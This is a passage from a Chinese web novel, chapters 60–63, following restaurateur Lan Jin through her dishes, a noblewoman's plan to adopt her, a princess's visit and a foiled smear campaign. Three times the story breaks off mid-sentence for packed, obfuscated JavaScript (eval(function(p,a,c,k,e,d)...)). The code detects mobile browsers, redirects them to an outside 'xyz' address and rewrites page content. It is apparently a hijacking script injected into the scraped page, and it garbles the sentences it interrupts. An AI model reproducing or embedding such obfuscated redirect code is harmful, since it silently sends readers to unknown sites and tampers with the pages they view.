肌间脂肪吸足了调料和炭火的热吻，美味的肉汁一波又一波喷涌。 小排骨竟然也能串串炭烤。小小的个头，饱含着油脂。 瘦肉丝一点不柴，嚼得满口鲜嫩。连带着穿插其间的青椒里也鲜香十足。 “怀瑾，尝尝这个麻辣烫。真的又麻，又辣，又烫！” 还鲜！里头的食材恨不得包罗万象。 有无刺的鱼片，嫩得没边的牛肉片，香菜肉丸子，素鲜的黄豆芽，软弹的虾滑，挂满红油的莴苣片，肥嫩的豆干，粘糯的宽粉...... 骨汤的鲜味存在感极强，连薄薄的莴苣，都叫煮得像棉布一样吸满了鲜香气，没了一点生味。 这一盆的口感一会脆，一会嫩，一会弹，一会软。 蒋长昭边吃边夸，一连吃下了一整碗白米饭。 “瑾娘！你这孩子真是脑瓜活泛，像你娘一样，敢想敢做。我瞧这酒楼是天都独一份的，只怕不出多久，就能扩张好几家，开遍全城了。” 蒋长昭满面红光，与之前在佛堂不施粉黛的模样，判若两人。 蓝锦笑道：“谢过夫人夸赞。我正想着以后要开连锁大酒楼，就是把一模一样的店开遍天都，最好再开遍天南地北，连海外仙岛都想去一去！” 蒋长昭笑得合不拢嘴： “正该如此。若是佩儿知道，肯定也是一万个赞成。你喜欢这样的日子也好，总比嫁人爽利。那什么劳什子婚约，便作罢了好！” “咳！咳！”一阵剧烈的咳嗽声传来。 60. 第60章 蒋长昭和蓝锦齐齐回头，看了一眼咳得连脖子都红透了的萧仁禹。 蓝锦道：“许是叫辣椒呛到了。麻辣烫里也加了些糍粑辣椒，虽是做了减辣，威力也还是有的。喝些豆浆，一会儿就好。” 蒋长昭虽疑惑，一向稳重得像个老学究的二儿子，怎么突然行状怪异。却也撂下了，回过头捧着蓝锦的手笑道： “嫁人实在没什么意趣。你和怀瑾的婚事，本就是我年轻时候一时玩笑之语。你若有疑，尽管退了去。” 蓝锦刚刚得知自己身上还有一桩娃娃亲，尚且未反应过来。 此刻又突然叫蒋长昭挑破，婚约对象正是这个什么“萧海商”，心中更是五味杂陈。 “我这个儿子也是顶无趣的，只恐你会怕闷，哪有开酒楼有趣？当时我与佩儿定下这个，不好，不好。应该直接收你做义女，听你叫我一声干娘。做女儿岂不比做媳妇好上万分？” 听了这话，萧仁禹更是在一旁急得团团转。 蓝锦面上挂着笑：“承蒙夫人抬爱。听了夫人的话，知道了夫人和我母亲的情谊，心里满是感动。若是我母亲还在，听了也会高兴的。” 蒋长昭也道：“是啊。佩儿与我同岁，我们曾经约好，要做一辈子的姐妹。如今她虽撇下我走了，此诺仍在。我只有多疼你几分，姑且告慰你母亲的在天之灵。” 言语之间，她便招来碧波：“柳斜巷的几家铺子，地段都好，打通了也能开做一家食店，还有一个小院子合抱。你自去张罗，过户给瑾娘。” 蓝锦急忙推辞，可蒋长昭的执拗性子在此刻又浮现了出来，一定要她收下。 不止这些，蒋长昭大马金刀地坐着，品着蓝锦特制的杏仁茶，又想到一样：“家里的温棚能出些好蔬果，之后便全拨给你用。” 蓝锦且惊且喜，这却是正中她的心坎。 蒋长昭瞧着厢房里的壁画，又开口道： “我兄弟家，有一房是跑船走商的，总有些南北鲜货。每次到港，天都人人追捧。我便牵个线，叫他们先紧着你的酒楼。” 如是一个个天降馅饼砸了下来，蓝锦应接不暇，只道：“夫人这便跟我客气太过了。我开着酒楼，便是欢迎八方客，夫人吃得开心，常来吃就好。我母亲看着夫人不再自苦，日日心情舒畅，定然也会欣慰的。” 蒋长昭的声音低了下去，看着蓝锦的眼睛认真道：“就算没有这些前尘，便只看你为我调理饮食的用心，我也是该这样谢你的。” “闹了你这么几日，不知耽搁了多少事。你快些去忙吧，我这边不必再理会了。我回去收拾几日，待安排好了，便四散请帖，大摆筵席，叫天都城有头有脸的人家都知道，我要收你做义女！” 蓝锦还未来及有所反应，萧仁禹“嚯”地一下站了起来。 “母亲，如此大事，怎能仓促决定？大哥还在边关，小妹也与同窗远游去了。家里人都不齐整，如何能做出这种惊涛骇浪的决定？” 蒋长昭奇怪地看着萧仁禹：“你激动什么？我只是收个义女，又不是强按你的头叫你娶亲，更不是自个撇下你们改嫁，有什么惊涛骇浪的？” 蓝锦在一旁，忍不住“噗嗤”一声笑出来。 萧仁禹看了一眼二人，更觉有口说不清：“人伦纲常之事，不能如此草率。甚至......甚至未曾去请大慈音寺的大师算过八字是否相合......” 蒋长昭转头看向蓝锦，又瞧瞧萧仁禹，笑道： “瞧这孩子，考虑得还挺周全。不过，我只听说过，嫁娶才须请人合八字，未曾听说收义女还要算母女的八字。” 又对萧仁禹说：“你往日对自己头上的婚约这么深恶痛绝，竟然对嫁娶规程这般了解。噢，对了，你是翰林院大学士，不像我们这样的粗人......如此看来，我按着你们这些孩子从文，真是按对了！” 蓝锦和蒋长昭有说有笑。萧仁禹听着口风，蓝锦竟对认干亲一事未曾有什么反对。 萧仁禹把椅子往后一推，大跨步走出门去，掷地有声地撇下一句：“不行，这件事我不同意！” 蒋长昭眼睁睁地瞧着萧仁禹甩下众人走开，笑着对蓝锦说：“竟不知道发什么疯，他说了不算，别去管他。” 蓝锦盈盈地笑着，已经在盘算。宴会上的菜色，要不要用自家酒楼，选什么好。 ** 蒋长昭和蓝记酒楼的往来逐日变多。蓝锦已经知道，萧仁禹实际是萧国公府的二公子，才不是什么海商。 她心中有气，觉得他不是可信之人。 这个不可信之人还未露面，萧家夫人和蓝锦的交往，就引来了一顶力图低调、却全然没有掩饰住华贵的软轿。 蓝记酒楼走进来一个艳光四射的女郎。 身上是打马球的服样，人却俏皮爽利，上来就自来熟地挽蓝锦的臂膀。 “听闻蓝大掌柜救了萧夫人的命，天都上下都夸得神乎其神，我在宫里头都听说了。我大姐令章，都尝过你的手艺，缘何略过了我去呀？” 蓝锦脑袋嗡了一下。 外祖母同她讲过天都人事。她是三公主安华，二皇子一母同胞的双胞胎妹妹。 这对兄妹每日除了挑衅大公主令章的地位，便是流连市肆，叫人敢怒不敢言。 客人不敢与三公主呛声，生怕碍了她的眼。 不顾未完的席面，纷纷搁下银钱，争相出了门。 “听闻萧郎君最爱吃什么蓝记的酒水和锅子，我在宫里都没试过呢。”安华撅着小嘴，做人畜无害的撒娇状。 原来是冲这个。沾上这人，真是没什么好事。蓝锦笑盈盈地把精装的食单呈上一份： “承蒙贵客看得起小店，若说锅子，我家有牛肉的、涮羊肉的、酸汤的、麻辣的。现在是凛冬时节，客人刚打完马球，发了身汗，吃点热腾腾的涮羊肉最是得宜。” “若说酒水，客人喝荔枝酿也可，选桂花酿也相配。” 安华向身边的侍女珍珠一扬下巴：“说是哪一种？” “回公主，是桂花酿。” 安华扭头又换上一副甜甜的笑颜：“就要桂花酿。蓝姐姐，我见你就亲切，叫你姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542003|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐好不好？” 蓝锦没见过这样的招式。心想再跋扈的女娘，也不过是云江望那个年纪的小孩子罢了。只微笑离场，一边答道：“不敢僭越，随客人心意。” 主仆二人打量着空荡荡的厢房，珍珠小声地向安华公主说道：“贵妃娘娘万般叮嘱，不让公主与萧郎君走得近，况且二皇子殿下也说了蓝记和大公主......” “多嘴！” 在安华看来，区区市井之中的酒楼，做不出什么珍馐美味。 只是听闻萧郎君酷爱蓝记的饭食，连他母亲都叫这位掌柜哄得神魂颠倒。 她儿时第一次见这位大哥哥，是在太后寿宴。 文质彬彬的世家公子们无一不是夹紧了尾巴，拘谨地顺着她的心意说话，看着就无趣。 只有萧郎君不一样，施施然一瞥靶心，一箭命中。遒劲的肌肉线条和冷傲的嘴角，一下就撞进了她的心里。 打断安华思绪的，是一股夺人摄魄的浓郁芝麻酱香。 铜锅怪模怪样的，咕噜作响，清澈的汤底翻腾出丝丝热气。 腐乳的咸香与蒜泥的辛辣，在空气中交错。还有一股存在感极强的葱花香气，灵活地钻入鼻腔。 安华不认识它们，却情不自禁被吸引住了，不知不觉瞪大了眼睛。 蓝锦用羊尾油润完锅子，夹起一片羊肉，轻轻往滚汤里一涮。肉片由红转褐，诱人的羊香味因着清汤被激发到最浓，直叫人食指大动，梦绕魂牵。 鲜美的肉卷裹上只香不辣的油辣子，和着咸香秘制的麻酱，荤香随着热气扑面而来。 挂着薄薄一层娇艳欲滴的酱，缀着葱花，裹着香油。 只要一咬，满口香汁爆开，分辨不清是肉里的汁水，还是蘸料里的香油。 香！太香了！嫩而不烂，汁美味浓，嚼劲和软烂程度无一不是刚刚好，那股子肉香味直冲人天灵盖。 等安华回过神来的时候，面前的一碟羊肉卷，已经下去了小半盘。 她骄矜地清咳两声：“味道倒是尚可。” 蓝锦抿着嘴儿笑： “承蒙贵人赏识。我家还有裹了千层酥的麻酱烧饼，上头满满地撒了芝麻，一口一层咸油酥。又有甜口的驴打滚，外头裹了炒得喷香的黄豆粉，皮子是糯米，一圈圈卷了豆沙，一咬就知甜香弹润。别处吃不到，贵人要不要一道试试？” 安华道：“你们家东西卖得挺杂。” 蓝锦说：“贵人就是见多识广，慧眼如炬！咱们家东西确实多，南甜北咸，百样荟萃，样样都是讲究又地道。像您这样识货的贵客，可不能错过咱家的小点。” “带上些花椒锅巴，咬到嘴里‘嘎巴’一声，那麻香咸辣的，最新鲜刺激。再来点迷你糖葫芦，外头一层亮晶晶、脆脆甜的糖壳子，一串一口的糖橘球、糖山楂。这可都是咱们酒楼的招牌特色，若是尝上一口，保准您以后惦记着呢！” 安华带着拎了大包小包的侍女珍珠，叫人殷切地送上马车。 她抚摸着鼓鼓的小肚子，有点恍惚：我今天来这，是干什么的来着？ 61. 第61章 因着三公主的造访，这些时日总有客人悄悄地打探：“安华公主上回吃了什么？给我也原样来一份！” “哎，我也是在蓝大掌柜这体验了一回皇家公主的待遇！” 一个个冒着白气的铜锅子端上了桌，连带着一碟碟红得滴血的羊肉片、羊肉卷。 “这涮羊肉比辣火锅还好吃！怎么能够的！” “嘿，再给我多加几盘羊百叶！没有了，怎么能没有了啊？那我要羔羊肉片，还有这个鲜切羊腱子也来三份。” “掌柜的，那炉子里烤的也是羊肉？羊肉串，先给我们来上二十串！” “我专来吃你家的辣椒油的。也不知你家用的什么神仙油，等闲辣椒，到你这碗里，就是香上好几番，别的辣椒油我都不爱吃了。” “怎么羊肋排肉都卖没啦！蓝大掌柜你可得多给我留点货。这锅底汤，我要全装上带走。哎，这锅也卖给我吧！” 蓝锦笑吟吟地拦着： “客人，这锅子虽洗得干净，到底叫人用了好多次了。您在我家吃过这么多回了，放心，我给您单独装一锅高汤，去库里拿个没用过的锅子，直接送到您府上去。” “哎！要么说蓝大掌柜会做生意呐！” “客官，您的菜来啦，精品烤鸭一份！” 身着白色短打的伙计灵活地从人群中穿梭而来，高声报着菜名。 手里头捧着一个红褐檀木大盘，一只褐红油润、香气逼人的鸭子端坐其上。 刀工师傅迅速接手，当着客人的面，在大厅里开始片鸭肉。 烤鸭滋滋冒油，空气中弥漫着清新的果木香。烤鸭外皮泛着莹润的光泽，酥香气沁人心脾。 薄薄的烤鸭，连皮带肉地簌簌落下，整齐地码在洁白的长盘里。 缕缕热气夹杂着荤香，钻进每一桌食客的鼻腔里，人人食指大动。 皮脆肉嫩，还有几片被特意切成方形的鸭皮，色若琉璃，是专门用来蘸白糖吃的。 蓝锦拿起一张薄如蝉翼的荷叶饼，正在给食客做示范。 先夹上两片的鸭肉，一半蘸上一层甜面酱，往饼中心一放。 再夹几根雪白的葱丝，青翠的去皮黄瓜条，封了底口，卷成一个小筒。 一口咬下去，甘甜的油香像溪流一样在唇齿间奔涌，勾人摄魄。 甜咸鲜香交织在一起，因着鸭皮的脆，鸭肉的嫩，酱料的甘甜和蔬菜的清爽搭配得宜，香得人忍不住吃了一个又一个。 “哎，真香啊！往常谁吃鸭子啊，又肥又腥的，谁知蓝记酒楼竟然有这一手。” “掌柜的，你家虽是新酒楼，定能在天都占据一席之地。这荷叶饼卷烤鸭，吃起来咸香甜美，荤而不腻，香得流油。我往常都不吃鸭子的，在你这破了戒！” “谁叫这鸭子这么漂亮，往外一端，亮闪闪得晃眼。还没等切开，肉香味就直接把我放倒了。” “掌柜你该早来，早点开了这烤鸭店，我还去什么荣宝楼，吃残羹冷炙，受气！” 卷了薄饼、蘸了酱的烤鸭找到了它死得其所的最佳归宿。 肉隙里都裹满了香甜的甜面酱，面饼吸了鸭油，又破开了鸭肉的腻，提供了碳水的口感。 粗黄瓜条和细葱丝的本味，恰到好处地成为荤香鸭肉的最佳辅助。 萧仁禹大刀阔斧地坐在酒楼大堂，将烤鸭卷一个接一个往嘴里送。 “萧大公子，真是奇了，今日缘何不去厢房？我们这闹哄哄的大厅，可配不上萧公子的身份。” “对不住，我不是有意骗你的。” “打住，我懂，我懂。世家子弟，在外行走，都需要一二遮掩。” 蓝锦眨了眨眼，又去招呼下一桌客人了。 萧仁禹伸手欲拦，却觉肩膀叫人一拍。 “怀瑾！你怎么在这里？” 蒋新带着一帮吃客友人，大摇大摆地在萧仁禹这桌坐下。 “你来得，我便不能来？” “不是不是，只是......咱们谁人不知，萧郎君此生最不喜的就是珍馐美味。” “对，对，怀瑾信奉颜回之道，是君子中的君子！” 萧仁禹淡淡道：“蓝记不一样。” 说罢便张开嘴，塞进一个烤鸭卷。 眯起眼睛，全心全意地品尝着。 “咕咚”，蒋新一行人中，有人咽了口水。小声嘀咕道： “连怀瑾都爱吃的饭，得是多好吃啊！” “肯定不会难吃，你忘了螺蛳粉，还有那道酸辣海鲜粉......” 蒋新再也等不及：“掌柜的，给我们也上几份一模一样的！” ** 蓝记酒楼的烤鸭卖得俏，离不开萧仁禹身体力行的推广。 他不再顾虑自己的形象，光明正大地天天往蓝记酒楼跑。 蓝记拨着算盘，近来，酒楼的每日流水，足有上百两。 梁若虹执意在一旁陪着，迟迟不愿去睡。 小秋睡眼惺忪，学丫鬟拿着铜挑子压灯花。 “祖母，去睡吧，我这生意好着呐。没什么可担心的。” “我哪里是担心你，这是为你高兴，好歹有个立身之本了。酒楼生意好，固然是好事，只是也要当心树大招风。好比那汇贤居，背后跟浔阳侯家沾亲带故......” “这样啊。那家的大掌柜，还来我店里吃过饭，一餐用罢，心服口服的。纸老虎一只！” 这样想来，那些明里暗里，说蓝记掌柜本是乡下泥腿子、不登大雅的消息，大概也是他们传出去的。 梁若虹也笑，口中说道： “好，知道锦娘厉害。早先我拦着你，确实存了自己的私心。我怕你以后无人照料......其实，留守闺中，相夫教子，也没什么意趣，只是我想不出其他的法子。” “我可不嫁人。咱家有寡妇传统，除非人家贴钱贴人，叫我做个有钱寡妇，否则，我才不结亲。” “又说什么浑话！” 梁若虹口中嗔着，心里却因蓝锦的态度高兴。自家女儿叫浔阳侯辜负了，好在锦娘站在她们这一边。 “长昭要认干亲的事，你若没了其他顾虑，尽管答应去吧。我这里也没什么好拦的。” 蓝锦把小算盘摞在一沓账本上，笑道：“我总之是无可无不可，只是为着母亲考虑。” “你娘若是知道，你叫了长昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542004|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声‘娘亲’，心里定是欢喜的。这几日，萧家常送厚礼来，好几回都是他们家二公子亲自上门。可见，是极其重视你的。” 蓝锦心里明镜一般，还不是他骗人在先，心中有愧。眼见两家要做亲戚，赶着来缓和几分。 这人也是奇怪，好像以为来自己酒楼吃饭，替她打打广告，就是致歉了似的。 这些时日乐此不疲地来，回回都坐在最显眼的位置，引得好些食客热衷于打听“萧郎君”点的什么菜。不登大雅之堂的流言，不攻自破。 不过，这些都是无关紧要的小事。另有一桩大事，蓝锦打算在认亲宴之前了结。 拜酒楼的好生意所赐，蓝锦大肆施展夫人外交。蓝记酒楼要排新戏的消息，鸽子一样飞遍了全天都。 “咿——呀！” 锣声一响，门帘撩开，一个闺门旦粉墨登场。 “水月对镜花，新人覆旧牌。哭娘亲魂归何处，涕泣声声唤不来。” “姨母笑语坐新床，忍将亲女抛庙庵......” 这一出《鹊巢记》，讲得是荣氏长子丧妻，不出三月，立即续娶，娶的还是亡妻的亲妹妹。 如此凉薄还不够，竟在婚宴上弄丢了亡妻留下的独女。 荣氏子还不思悔改，推说女儿任性，独自跑去找外祖母，将婚宴风波遮掩了下来。 故事由扮演女儿的闺门旦婉转唱来，赚得观众无数眼泪。 外祖母失去唯一的女儿，又丢了外孙女，大发雷霆。 与一心拉拢女婿，不惜再嫁一女过去的丈夫翻脸和离。 拿着带走的钱财，四处寻访外孙女的下落，终得祖孙团聚。外孙女开起一家大酒楼，手艺绝妙，生意红火。 而荣氏一家，亏心事做多了，走在路上，生生叫雷劈死了。 “好人有好报啊！”头发花白的老夫人拿着帕子，泪如雨下。 “这个荣氏子真不是个东西！弄丢了亲女儿，还好意思腆着脸跟岳母要钱。”一个带刀侍卫狠狠一拍桌子。 “他那岳丈也忒没有心肝，自家女儿尸骨未寒，那么快就又嫁一女给那白眼狼。只恨他没叫雷一块劈死！” “好在这个外孙女时来运转。哎，她那个酒楼，看着真挺好吃的......台上的人，口水都快流到地上了。” 凡是看过戏的食客，人人都心潮澎拜，义愤填膺。 蓝锦适时地端来红油冒烤鸭，笑道： “诸位可要尝尝，这是鲜辣味的烤鸭，吃起来保准过瘾。” 冒烤鸭还是上回给蒋长昭试过的菜，反响甚好。藉由烤鸭的东风，蓝锦干脆将它正式纳入菜单。 浓郁的辣香味迅速飘满整个酒楼厅堂。 “上头还漂着一层芝麻，肯定香啊！” “给我也来一份！” “这个爽快，吃得人冒汗，刚才看那出戏生的气，一下子都赶跑了。” “这事又不是第一次听说，你竟气成这样。” “不是第一次？” “你想想，做着侯爷的那位，他家的故事，不是差不离嘛......” 吃得满嘴红油的食客们，皆停下了筷子，恍然大悟。 62. 第62章 小秋今日下学早，抱着她的爱犬酒钱来了蓝记酒楼凑热闹。 说来也巧，大公主来与蓝锦商量方便面工坊的事，款款走进了蓝记品味，还带了自家的卷毛狗。 全身毛发蓬松有光泽，和活泼的酒钱一见面就相熟了。 两犬在院子里你追我赶，玩一个花绣球。 蓝锦笑盈盈地对大公主说：“原来殿下也是我辈中人。我这里还有专为小狗研制的营养餐，没有调料，健康极了。吃了最能让毛发顺滑有光泽。” 大公主倒是有些好奇：“缘何秋姐儿的小狗要叫酒钱？” 蓝锦笑道：“这只小狗最爱招惹客人。小秋带它来的时候，总爱往熟客身边凑，咬他们的裤脚。我就总得喊它回来。喊它‘酒钱’，有几分趣味，好让客人别着恼。” 大公主笑道：“只怕人家得了你的提醒，以为你家的爱犬忠心护主，这是替你要酒钱来了，会多多地给。” 蓝锦也笑：“如此甚好，意外之喜。” 两人合作日久，蓝锦就军需物资，提出了许多饮食上的建议。 就比如杂粮、坚果、饴糖等做成的能量棒，还有造价便宜的猪肉松，又有许多拌饭酱。 “这也是拜云江望所赐，上回送别她，激起了我许多灵感。哎，也不知她现下怎么样了。” “你这就白担心了。云伯父气得吹胡子瞪眼，她却好得很，如鱼得水的，也不要他安排。如今已经到我手下，做了千夫长了。” 蓝锦惊喜道：“竟有这种事，真叫人佩服。” 大公主摇摇头：“瞧她天不怕地不怕的，经此一遭再回来，估计没有能管住她的人了。” 蓝锦却把心思放在另一件事上头：“那我可要加紧研制军需工坊的食物，说不得，就能送到她的案头了。” 大公主也不是空手来的，她说好要给蓝锦带宫廷食方，今日带的，便是一道宫廷红烧肉。 蓝锦琢磨了一会，结合她一贯的烹饪体系，立刻领悟了精髓。 苹果、梨、山楂，这些常见的水果，和猪肉配在一起，清新解腻，味道独特。 鲜红色的猪肉放进清水里焯水，一点大葱、姜片、料酒就够，先整块后切小，焯煮个两回。 这里的农家猪，不是后世急着出栏的大白猪，肉的滋味足，也没什么腥味。 燎过皮的猪肉切成三指宽的方块，灶头上的糖色也已经炒好了，撒入炖肉用的香料：桂皮，八角，花椒，干辣椒，黄酒。 把肉块倒进去，搁上自制的味极鲜和老抽，还有几大块冰糖。 再将水果片和山楂干一股脑放进去，文火炖上一个时辰。 一盘子料，味道进去了，样子却不好看。 蓝锦单把肉挑出来，大火在料汁里再炖煮一会，收收汁。 整整齐齐地摆在一个大白盘子里，便端到了大公主的面前。 只见亮红色的汁子果香浓郁，空气中淡淡的酸味刺激味蕾。 方正的小肉块，嘴巴张大点，便能一口吞吃了。 红嘟嘟，油汪汪，颤巍巍。 筷子一戳，肥瘦相间的肉块缓慢地被撕扯开。肥的部分几乎透明，亮得晃眼睛。 单是看着这个画面，口水就要流出来了。 放入嘴中，香软滑嫩。因着果酸的参与破坏了猪肉的蛋白质特性，使得瘦肉也不显柴硬。 这点难得的酸味，让一贯克制食欲、一饭三吐哺的大公主破了戒，配着这红烧肉，吃了一大碗白米饭。 大公主从来不知吃饭是这么有意趣的事！ 果然，这道带了御膳牌子的宫廷红烧肉一经推出，一片叫好。 就连许多不常来蓝记的生面孔老餮，也跑来蓝记点上一道，悄悄咂摸：“肉还能做成这样，好吃啊！” 然而这日，几个凶神恶煞、膀大腰圆的汉子走进了蓝记品味。洋洋洒洒，把当日的推荐菜全点了一遍。 蓝锦见状，心觉不对，嘱咐了悟雅，多留意着这边。 甲一也被悟雅喊了过来。 自从萧国公府的身份，在蓝锦这里过了明路，他便成为萧仁禹派来专职保护蓝记的暗卫。 几个大汉还未动上筷子，夹上几块肉，便一拍桌子：“你家这肉里怎么有毛发，叫你们老板来！” “这什么毛，你家还养狗，肯定就是你家狗身上的毛！” 周边立刻有人起哄：“蓝记一个开食店的，竟然在家里养那些狗啊猫啊的，真把自己当贵族小姐了。不干不净，能做得好饭菜吗？” 蓝锦不慌不忙地走上前来，去看碗盘里挑出来的所谓毛发。倒真不是黑色的，是白色。 可是......蓝锦一笑，去后院找到玩耍的酒钱，往她身上摸了一把，拈着几根小毛。 她把酒钱的毛发，和那碗盘里跳出来的毛发摆在一起，搁在黑盘子里请客人们看。嘿，一个是弯的，一个是直的！ “我家的狗毛发是直的，客人你怎么探听也不探听清楚，就直接找小卷毛来冒充？不能是你的胡子吧？” 旁边人哄堂大笑：“还真有可能，指着自家胡子，说是狗毛，你听听这，像话不像话！” 也是该他们砸差事。上回扒着蓝记的屋檐，远远一看。竟把大公主家的卷毛狗，错认成了蓝记老板家的狗。 蓝锦笑吟吟地解释： “我家小狗向来都不愿来楼里，只愿远远地待在院子里，它嫌这边憋闷的。不常来的客人们都难得一见，客官生面孔，怎知我家有小狗？” 一伙人支支吾吾，狼狈而逃。 底下却有其他人小声嘀咕：“按理说，食店就是不能够养宠物啊，万一弄到点什么不干净的，多膈应人啊。” 蓝锦再三保证了，酒钱真的不靠近酒楼屋内，他们也就作罢了。 没过几天，天都突然沸沸扬扬地传起来：蓝记不讲究，纵容宠物待在酒楼。 如果不送走，别想大家再去蓝记吃饭。 正午时分，正是饭点人多的时候。大公主的侍女瑶君抱着一只卷毛狗，走进了蓝记酒楼的大门。 她用十分熟稔的语气打招呼： “大掌柜，上回拿的营养餐刚好吃完了，雪球很喜欢。御膳房怎么做，都不是你家那个味道，大公主让我带雪球再来吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542005|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些。” 蓝锦笑容可掬地迎上去，把她们引到单独的一个小隔间里。 此处不过几张桌子，少有客人过来，雪球在这里十分自在。 这回之后，天都里的流言立刻变了个风向。 不少贵夫人和闺阁女儿们，都悄悄地问蓝锦：我家小狗小猫，能去坐一坐大公主家雪球的位置吗？ 那热情，堪比“我家宝宝能当童模吗？” 大公主并未要求给雪球专属座位、不让别人碰。上次也只是为了帮助蓝记，蓝锦心知肚明。 于是，她便都答应了。 从此之后，蓝记酒楼的大公主爱宠驾临处，俨然成了一个专门的打卡点。 时不时就有女娘过来，抱着自家的宠物一起来玩。 蓝锦甚至专门给个隔间开了一个小门出入，彻底把它与酒楼主厅堂隔开，也让家有宠物的女娘们享受更私密自在的空间。 浔阳侯府里，徐仲辞气得来回踱步。 “你不是说了，万无一失的吗？” 狄思明刚从汇贤居赶过来，口中只道：“都是侄子识人不清，遭人蒙骗......谁想到他们堂堂杀手，做事这般不经心，连直毛卷毛都弄差了......半路竟又杀出个大公主......” “够了！不能叫蓝记歇业整顿，那小女娘就不会愿意归家。二皇子殿下才是正统所归，他的门路那是时时都有的吗？不识好歹！” 狄思明在一旁陪笑，小心说道：“其实蓝记的菜肴，味道还可以，歇业未免有点可惜......” 徐仲辞双眼一瞪：“你分不分得清轻重缓急！年轻小辈，就会坏事！” 狄思明唯唯诺诺：“侄子一定再想别的法子......” “老爷！老爷！大事不好了，大事不好了！”门房跌跌撞撞地跑进来，头巾都跑丢了。 徐仲辞将茶盏重重一摔：“慌慌张张，成何体统！” 不等他训斥完，但见两列金吾卫鱼贯而入，一名太监朗声念道：“浔阳侯徐家结党营私，妄议朝政，即刻收押待审。” 徐仲辞慌得发髻散乱，扑通跪地，口中直呼“冤枉”。 金吾卫半分面子也不给，直接将他拖走。 徐府的纷扰彷佛只有一瞬间，满府的女眷仆妇都叫软禁了。 外出采买的仆妇无处可去，无头苍蝇一般乱撞。 在她们摸到梁府和蓝记酒楼之前，萧仁禹先献宝一样地踏进了蓝记的厢房。 “蓝小娘子，有人在背后中伤你，妄图以你做人情攀龙附凤。好在苍天有眼，现下他们已经得了他们应有的报应了。” 蓝锦刚刚听完来龙去脉，这才恍然。 她还当全是那出《鹊巢记》起的作用，浔阳侯一家再不敢舞到她面前。 “怪不得权势动人心，若非是上位者，也难让恶有恶报。不过，还是要谢过萧大公子，免我许多麻烦。” 萧仁禹正要笑说“哪里，哪里”，却听蓝锦继续道： “若是认亲宴办完，我便也能借上萧大公子的东风了。现下，我还是得多多奉承你这位未来兄长了。” 63. 第63章 蓝锦收拾着上巳节的食篮，她要带一家子去郊外踏青。 寻芳三月三，春风上巳天。时人爱寻一水边兰亭，老派的熏香药濯帽缨，新派的曲水流觞作诗。 蓝锦是顶顶新的俗人，所以她带着一大张油毡布，几大篮子食物，专程去野餐。 悟雅从她的胳膊下钻出来，露出一个圆脑袋：“娘子，为何萧郎君最近总来，离开时却老大不高兴，他是不是不愿让你认干亲呀？” 蓝锦领着江汝月她们，手里包着青团。闻言，信手塞了一颗咸蛋黄肉松馅的，到悟雅嘴里。 悟雅小仓鼠一般，小嘴鼓动不停。 皮子一股清新的艾草香。内陷咸甜有味，里头有一整颗的蛋黄，口感沙绵，油香四溢。 只听见她家小娘子说：“管他作甚？本来就是为了蒋娘子应下的。成与不成，都是蒋娘子说了算。若不是想等到萧家小妹归家，此刻认亲宴都办起来了。” 裹好的青团个个青翠欲滴，小秋一只腿攀在长凳上，把豆沙馅、黑芝麻馅......挨个尝了个遍。 甜食党喜欢传统一点的艾草团子。悟雅倒是革新派，春笋炒豆干馅的咸青团，她也吃得津津有味。 “小娘子，笋子好鲜嫩，吃这个才叫咬了春！” 蓝锦端来一个大笸箩，里头摆着一个大瓷盘。 “咬春有专门的春盘。” 她手里拿着一坨绵软柔韧的白面团，在小鏊炉上手一旋一抬，赫然一张薄饼。 待饼皮边沿微微发干鼓泡，就用手指尖小心地揭起来。 这是仿的南方春饼做法。不用油炸，也不必热食。只用薄如蝉翼的饼皮，裹上时令鲜蔬，冷食已很鲜香。 蓝锦前世便未曾吃上心目中正宗的春饼。 虽然春饼这东西，天南海北，大街小巷，都有售卖。 连锁的早点铺子里，甚至食堂的正餐里头，炸成金黄色的豆沙馅、韭菜馅春卷随处可见。 很可惜，那都不是。 “真正的南方春饼，馅料愈繁愈美。得要有紧实的包菜，肥美的香菇，还有白生生的冬笋，脆口的红萝卜，再有青翠的豌豆角，香嫩的芫荽，鲜芽菜。都切作细丝，荤油炒熟。” “还不算完，正经的荤菜得有五花肉，肥嘟嘟的海蛎子，刚从水里捞出来、尾巴还振着的大虾，配上切成丝的鱼酢，再搁些豆干，使素油焙得透透的，文火慢炖入味。” 悟雅的口水快滴到桌面上了，不错眼地看着蓝锦手脚麻利地往下旋着软薄饼皮。 “小娘子，光听你说，还没见着春饼影子，我就馋得捱不住了。” 汝月“噗嗤”一笑：“我们娘子不用给客人端上真菜，就站他们身边，讲单子上的菜是使什么做出来的，人家都愿意掏钱。” 